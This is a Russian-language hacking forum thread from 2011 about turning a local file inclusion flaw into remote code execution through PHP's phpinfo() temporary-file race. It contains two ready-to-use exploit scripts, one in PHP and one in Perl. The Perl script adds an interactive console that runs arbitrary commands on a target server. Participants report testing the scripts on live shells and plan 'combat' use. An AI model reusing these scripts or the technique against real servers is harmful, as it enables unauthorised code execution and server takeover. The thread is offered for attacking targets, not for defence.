Старый 15.01.2011, 20:39   #1
tipsy
 
Аватар для tipsy
 
Регистрация: 11.07.2010
Сообщений: 415
Репутация: 311
По умолчанию LFI через phpinfo

В продолжение темы Универсальный LFI для Windows+PHP
Потестил вот это
Цитата:
Сообщение от tipsy Посмотреть сообщение
...

То есть этапы примерно такие (могу ошибаться)
1) устанавливается соединение
2) начинают передаваться данные
3) сразу после получения заголовков апач определяет, что php файл существует и подгружает php. Отсюда разные для всех размеры "минимального файла" - дело в буферизации.
4) php создаёт файл, на этом этапе код скрипта не имеет значения
4.1) файл наполняется данными
5) передача данных заканчивается
6) исполняется php код (в нашем случае phpinfo)
7) php отправляет вывод скрипта апачу
8) php делает cleanup
, удаляя файл, и завершает работу
9) апач отсылает вывод скрипта юзеру.

Жирным выделил этапы, на которых файл существует.
В этом сценарии файл придётся брутить, но есть немалая вероятность, что пункты 8 и 9 в реальности стоят в обратном порядке, то есть до тех пор, пока данные не будут отправлены юзеру и запрос не завершится, php не сделает cleanup.

В таком случае возможно написать эксплойт, который на низком уровне будет саботировать получение последнего пакета с данными.



Проверить возможность создания такого сплойта можно так:

<? phpinfo();
system("touch /tmp/lastline");
?>

и зажать через mod_bwlimit траф до байта в секунду. Если tmp файл удалится сразу после создания lastline, значит уязвимости нет.


сработало



Код:
<?php 
phpinfo();
var_dump($_FILES);
system('touch /tmp/lastline');
?>
PHP Version 5.1.6 не раскрывает массив $_FILES и показывает Array вместо имени файла, на пхп поновее всё будет ок.

Через 30 секунд файл удалился.

В чём суть: я поставил mod_cbandwidth, он говно, на php не действует, снёс.

Поставил mod_bw, зажал траф до 256 bps, всё остальное по-умолчанию. Апач отдаёт данные пакетами по 8кб, соответственно, между пакетами с моими настройками проходит 32 секунды.

phpinfo выполняется несколько минут, возвращая управление ближе к концу.
php завершается, когда остаётся два неотправленных буффера.
php делает cleanup, когда остаётся 1 буффер.

Имя файла находится в самом низу, но дополнительными хидерами удалось приделать хвост в два буфера.

Думаю, это можно воспроизвести на апаче по-умолчанию, контролируя передачу данных на низком уровне.

Да, по хвосту.
Заголовок апача по-умолчанию ограничен 8кб, вроде бы много хидеров не напихаешь, но
z6=z в заголовке превращается в
Код HTML:
<tr><td class="e">HTTP_Z6 </td><td class="v">z6 </td></tr>
в phpinfo, что аж целых 60 байт.

Последний раз редактировалось tipsy; 07.09.2011 в 20:59..
tipsy вне форума   Ответить с цитированием
Старый 16.01.2011, 14:13   #2
Jokester
 
Аватар для Jokester
 
Регистрация: 01.07.2010
Сообщений: 250
Репутация: 155
По умолчанию

На тестовом :

win 7 - false
ubuntu(обычный юзер) - true
__________________
------------------
Jokester вне форума   Ответить с цитированием
Старый 16.01.2011, 14:26   #3
asddas
 
Аватар для asddas
 
Регистрация: 04.08.2010
Сообщений: 153
Репутация: 161
По умолчанию

Тестил на шелле c Debian, всё гуд Кросафчег!
asddas вне форума   Ответить с цитированием
Старый 16.01.2011, 14:42   #4
tipsy
 
Аватар для tipsy
 
Регистрация: 11.07.2010
Сообщений: 415
Репутация: 311
По умолчанию

Поправил код удержания, теперь держит дольше пяти минут, но не ловит смерть скрипта по max_execution_time на удалённой стороне, потому что с моей стороны ESTABLISHED, а с удалённой FIN_WAIT1, и я не знаю как это сделать.

Да, если на таргете есть любое проксирование - nginx, или один апач торчит наружу, второй висит на 10.0.0.x - работать не будет, так как внешний будет буферизовать вывод для внутреннего.

На Win7, макоси и фряхе в качестве платформы для запуска сплойт не работает. На домашних линуксах скорее всего не сработает, требуется хороший канал, лучше запускать из датацентра. Нормальное время работы сплойта - одна-две минуты.

Кто-то тестировал на таргетах, которые не линукс?

Кстати, допиливание сплойта до чего-то более удобного приветствуется.

Последний раз редактировалось tipsy; 16.01.2011 в 15:53..
tipsy вне форума   Ответить с цитированием
Старый 16.01.2011, 15:52   #5
BlackFan
 
Аватар для BlackFan
 
Регистрация: 08.07.2010
Сообщений: 354
Репутация: 402
По умолчанию

Для смещения конца phpinfo проще послать 2 файла, первый - нужным нам, а второй с названием типа
a[a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a] (размер самого файла не имеет значения).
Выглядеть это будет так
Код:
<tr><td class="e">_FILES["file"]</td><td class="v"><pre>Array
(
    [name] =&gt; ^^.txt
    [type] =&gt; text/plain
    [tmp_name] =&gt; X:\tmp\php37A.tmp
    [error] =&gt; 0
    [size] =&gt; 0
)
</pre></td></tr>
<tr><td class="e">_FILES["a"]</td><td class="v"><pre>Array
(
    [name] =&gt; Array
        (
            [a] =&gt; Array
                (
                    [a] =&gt; Array
                        (
                            [a] =&gt; Array
                                (
                                    [a] =&gt; Array
                                        (
                                            [a] =&gt; Array
                                                (
                                                    [a] =&gt; Array
                                                        (
                                                            [a] =&gt; Array
                                                                (
                                                                    [a] =&gt; Array
                                                                        (
                                                                            [a] =&gt; Array
                                                                                (
                                                                                    [a] =&gt; Array
                                                                                        (
                                                                                            [a] =&gt; Array
                                                                                                (
                                                                                                    [a] =&gt; Array
                                                                                                        (
                                                                                                            [a] =&gt; Array
                                                                                                                (
                                                                                                                    [a] =&gt; Array
                                                                                                                        (
                                                                                                                            [a] =&gt; Array
                                                                                                                                (
                                                                                                                                    [a] =&gt; Array
                                                                                                                                        (
И так далее... А это уже 80кб и можно сделать больше
BlackFan вне форума   Ответить с цитированием
Старый 16.01.2011, 16:42   #6
asddas
 
Аватар для asddas
 
Регистрация: 04.08.2010
Сообщений: 153
Репутация: 161
По умолчанию

Второй день мучаюсь с этим багом, если бы не посты tipsy и, очень в тему, BlackFan-а, я бы уже наверно забил. Тестил на локалхосте (до этого, вообще никак не удавалось воспроизвести вектор), шелле, шелле tipsy, на всех linux, всё гуд

PHP код:
<?php
error_reporting
(E_ALL);
$target 'http://localhost/phpinfo.php';
$inc 'http://localhost/g.php?f=../../../../../../..';
$temp parse_url($target);
$host $temp['host'];
$path $temp['path'];
$post '';
$html '';
$tmp '';
            print 
"Target host ".$host."<br>";flush();
            print 
"Generating headers   ";flush();
    
    
//Evil
    
$file="-----------------------------7d529a1d23092a\r\n";
    
$file.="Content-Disposition: form-data; name=file".mt_rand(0,1000)."; filename=\r\nolololo".mt_rand(0,1000).".txt\r\n";
    
$file.="Content-Type: text/plain\r\n\r\n";
    
$file.="<?php system(\"ps axu\");?>\r\n";
    
$file.="-----------------------------7d529a1d23092a\r\n";
    
$post .= $file;
    
    
//Fake
    
$file="-----------------------------7d529a1d23092a\r\n";
    
$file.="Content-Disposition: form-data; name=file".mt_rand(0,1000)."; filename=\r\nolololo".str_repeat('o',100000).mt_rand(0,1000).".txt\r\n";
    
$file.="Content-Type: text/plain\r\n\r\n";
    
$file.="fake\r\n";
    
$file.="-----------------------------7d529a1d23092a\r\n";
    
$post .= $file;
    
$req ="POST ".$path." HTTP/1.0\r\n";
$req.="Content-Type: multipart/form-data; boundary=---------------------------7d529a1d23092a\r\n";
$req.="User-Agent: Googlebot/2.1\r\n";
$req.="Host: ".$host."\r\n";
$req.="Content-Length: ".strlen($post)."\r\n";
$req.="Connection: Close\r\n\r\n";
$req.= $post;

            print 
"[headers ready]<br>";
    
$sock socket_create (AF_INET,SOCK_STREAM,SOL_TCP);
    
socket_set_option($sockSOL_SOCKETSO_RCVBUF256);
            print 
"Setting buffer size   [".socket_get_option($sockSOL_SOCKETSO_RCVBUF)."]<br>";flush();
    
socket_connect ($sock,$host,80);
            print 
"Sending request   ";    flush();
    
socket_write ($sock,$req);
            print 
"[request sent]<br>";flush();
            print 
"Reading";    flush();
    while (
$out socket_read($sock4096)) {
            print 
".";flush();
    
$html .= $out;
    
preg_match_all('#=&gt;(.*)#',$html,$r);
    if(!empty(
$r[0][2])){$tmp str_replace(array("=&gt;",' '),'',$r[0][2]);}
    if(
strpos($tmp,':')){$path explode(':',$tmp);$tmp $path[1];}
    if(
$tmp){ 
            print 
"<br>Got filename: $tmp<br>";flush();
            print 
"Including...<br>";flush();
            print 
file_get_contents($inc.$tmp);flush();
    
socket_close($sock);
    exit;
    }
    }
    
socket_close($sock);
            print 
"Fail :(";
?>

Последний раз редактировалось Jokester; 07.09.2011 в 19:57..
asddas вне форума   Ответить с цитированием
Старый 16.01.2011, 18:29   #7
asddas
 
Аватар для asddas
 
Регистрация: 04.08.2010
Сообщений: 153
Репутация: 161
По умолчанию

Software: Microsoft-IIS/6.0. PHP/5.2.3 GOOD
asddas вне форума   Ответить с цитированием
Старый 16.01.2011, 18:39   #8
Ded MustD!e
Banned
 
Регистрация: 01.07.2010
Сообщений: 162
По умолчанию

скрипт asddas сработал, Win7 64

надо теперь в боевых условиях потестить
Ded MustD!e вне форума   Ответить с цитированием
Старый 17.01.2011, 19:16   #9
tipsy
 
Аватар для tipsy
 
Регистрация: 11.07.2010
Сообщений: 415
Репутация: 311
По умолчанию

Хотел бы подчеркнуть, что в первом посте есть POC для интересных особенностей php:
для кода
PHP код:
echo $a;
exit(); 
-доказана возможность удалённо прочитать часть $a до выполнения команды echo $a;
-доказана возможность получать доступ к ресурсам программы (конкретно - к временным файлам) после выполнения exit().
-доказана возможность удалённо на контролируемое время останавливать выполнение программы в произвольных точках, где программа делает вывод
-доказана возможность удалённо завершить программу в произвольной точке, где программа делает вывод.

Возможно, подобные нарушения пространственно-временного континуума во вселенной пхп окажутся полезны для реализации каких-то новых уязвимостей.

Последний раз редактировалось tipsy; 17.01.2011 в 19:19..
tipsy вне форума   Ответить с цитированием
Старый 14.07.2011, 00:40   #10
Pashkela
 
Аватар для Pashkela
 
Регистрация: 05.07.2010
Сообщений: 1,243
По умолчанию

Немножко запарился юзать скрипт от ув. tipsy в первоначальном варианте, поэтому сделал несколько поудобнее, итак, изменения (т.к. один из наиболее часто используемых сплойтов):

1. Сам php-код вынесен теперь наверх и автоматически обрамляется "<?php ваш_код exit;?>" (точки с запятыми ставите сами в конце вашего кода). Т.е. теперь достаточно написать

system("ls -la");

2. Ответ теперь парсится регуляркой и возвращает только то, что делает ваш php-код, без кода страницы

3. Добавлена возможность сохранить результаты в файл (z_хост.txt, в той же папке, где и сплойт)

4. Добавлена возможность работать в интерактивном режиме (просто ввели сразу новый php-код и ENTER, без перезагрузки программы)

5. Сохранение tmp-файла теперь по выбору (либо да, либо нет, в некоторых случаях ненужное палево, я один раз забыл например и файло так и висело часа полтора, т.к. сразу побежал юзать шелл )


Соответственно несколько новых переменных в разделе Global settings:


$phpcode = 'system("uname -a");'; # без <?php и ?>, не надо "exit;"
$save_to_file = 1; # 1 - сохранить в файл z_host.txt, 0 - нет
$console = 1; # 1 - работать в терминале, 0 - нет, выйти после первого запроса
$keep_tmp_file = 0; #1 - Оставить $tmpfile, 0 - Нет

Пример работы:

Код:
Generating huge headers		[headers ready]
Setting buffer size		[1024]
Sending request			[request sent]
HTTP/1.1 200 OK
Reading.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
Got filename: /tmp/php7InMZL
Including...


================= PHP CODE: =================
system("uname -a");


================= RESULTS: ==================

Linux srv 2.6.26-2-686 #1 SMP Thu Nov 25 01:53:57 UTC 2010 i686 GNU/Linux



=============================================

Type your PHP CODE or EXIT:
============================================
echo 12233450968;

Generating huge headers		[headers ready]
Setting buffer size		[1024]
Sending request			[request sent]
HTTP/1.1 200 OK
Reading.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
Got filename: /tmp/phpsENBrx
Including...


================= PHP CODE: =================
echo 12233450968;


================= RESULTS: ==================

12233450968


=============================================

Type your PHP CODE or EXIT:
============================================
exit

by-by :)
pashkela@pashkela-desktop:~/Toolza/practic$
Измененный сплойт:

Код:
#!/usr/bin/perl -w
use IO::Socket;
use LWP::Simple;
# GLOBAL SETTINGS 
$phpcode = 'system("uname -a");'; # no <?php and ?>, no "exit;"
$save_to_file = 1; # 1 - save to file z_host.txt, 0- no
$console = 1; # 1 - Work in terminal, 0 - no
$keep_tmp_file = 0; #1 - Keeping file $tmpfile in tmp, use it as long as you need it, 0 - No
$rcvbuf = 1024; # increase if script is running too slow. will be automatically doubled
$bigz = 3000; # 8000 - long line to create bottlenecks
$junkheaders = 30; # 1-90
$junkfiles = 40; #10 ~ 4Mb of overhead
$junkfilename = '>' x 100000;
###############################################################################################
$host = "";$path = ""; $flag = 0;
if($ARGV[0] =~ m#http://(.+?)(/.+)#) {$host = $1;$path = $2} else { die "Can't extract host\n"}; 
get_tmp();

sub get_tmp {
   $|=1;
   START:
   if ($console ==1 && $flag == 1){
      print "\nType your PHP CODE or EXIT:\n============================================\n";
      $phpcode = <STDIN>;
      chomp $phpcode;
      if ($phpcode eq "exit" || $phpcode eq "EXIT") { print "\nby-by :)\n";exit}
   }
   if ($save_to_file == 1) {open( FILE, ">>" . "z_" .$host . ".txt" )} 
   print "\nGenerating huge headers\t\t";
   my $headers = 
"POST $path HTTP/1.0
Host: $host
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:2.0b8) Gecko/20100101 Firefox/4.0b8
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7
z:".("Z" x $bigz)."\n";
   for(my $i=0; $i<$junkheaders; $i++) {
      $headers .= "z$i: $i\n";
   }
   $headers .= "Content-Type: multipart/form-data; boundary=---------------------------59502863519624080131137623865
Content-Length: ";
   my $content=
'-----------------------------59502863519624080131137623865
Content-Disposition: form-data; name="tfile"; filename="test.html"
Content-Type: text/html

hello<br>
<?php echo "ussr";'.$phpcode.'echo "ussr";exit;?>
bye
-----------------------------59502863519624080131137623865--
';
   for (my $i=0; $i<$junkfiles; $i++) {
       $content .= '-----------------------------59502863519624080131137623865
Content-Disposition: form-data; name="ffile'.$i.'"; filename="'.$i.$junkfilename.'"
Content-Type: text/html

no

-----------------------------59502863519624080131137623865--
';}
   $headers .= length($content)."\n\n".$content;
   print "[headers ready]\n";
   my $remote = IO::Socket::INET->new( Proto     => "tcp",
	                                 PeerAddr  => $host,
	                                 PeerPort  => 80,
	                               );
   setsockopt($remote, SOL_SOCKET, SO_RCVBUF,pack("I",$rcvbuf));
   sleep(1);
   print "Setting buffer size\t\t[".unpack("I",getsockopt($remote, SOL_SOCKET, SO_RCVBUF))."]\n";
   unless ($remote) { die "cannot connect to http daemon on $host" }
   $remote->autoflush(1);
   print "Sending request\t\t\t";
   print $remote $headers;
   print "[request sent]\n";
   my $line = <$remote>;
   print $line;	
   print "Reading";
   while ( $line = <$remote> ) { 
      print ".";
      if ($line =~ m#tmp_name].+(/tmp/php.+)$#) {
	  my $tmpfile = $1;
	  print "\nGot filename: $tmpfile\n";
	  print "Including...\n";
          $inc = $ARGV[1]; #path to /etc/passwd 
          $inc =~ s#/etc/passwd#$tmpfile#;
          $flag = 1;  
          my $result = get($inc);
          if($result =~ m/ussr(.*?)ussr/imgs){
              print "\n\n================= PHP CODE: =================\n$phpcode\n"; 
              print "\n\n================= RESULTS: ==================\n\n$1\n"; 
              print "\n\n=============================================\n\n";
              if($save_to_file==1){print FILE $1 . "\n"}
          } else {
              print "\n\n================= CHECK PHP CODE (maybe error in code or some functions are disabled [system for example]): =================\n$phpcode\n"; 
              print "\n No results, exploit failed, sorry\n\n";
          }
          if ($keep_tmp_file == 1) { 
              print "\nKeeping file $tmpfile in tmp, use it as long as you need it\n";
     	      while ($remote) {print ".\r";sleep 5};
          }
   	  close $remote;
      }
   }
   if ($save_to_file == 1) {close(FILE)}
   $flag = 1;
   if ($console ==1 && $flag == 1){ 
      goto START;
   } else {exit}
}

Последний раз редактировалось Pashkela; 14.07.2011 в 12:51..
Pashkela вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра
Комбинированный вид Комбинированный вид

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2020, Jelsoft Enterprises Ltd. Перевод: zCarot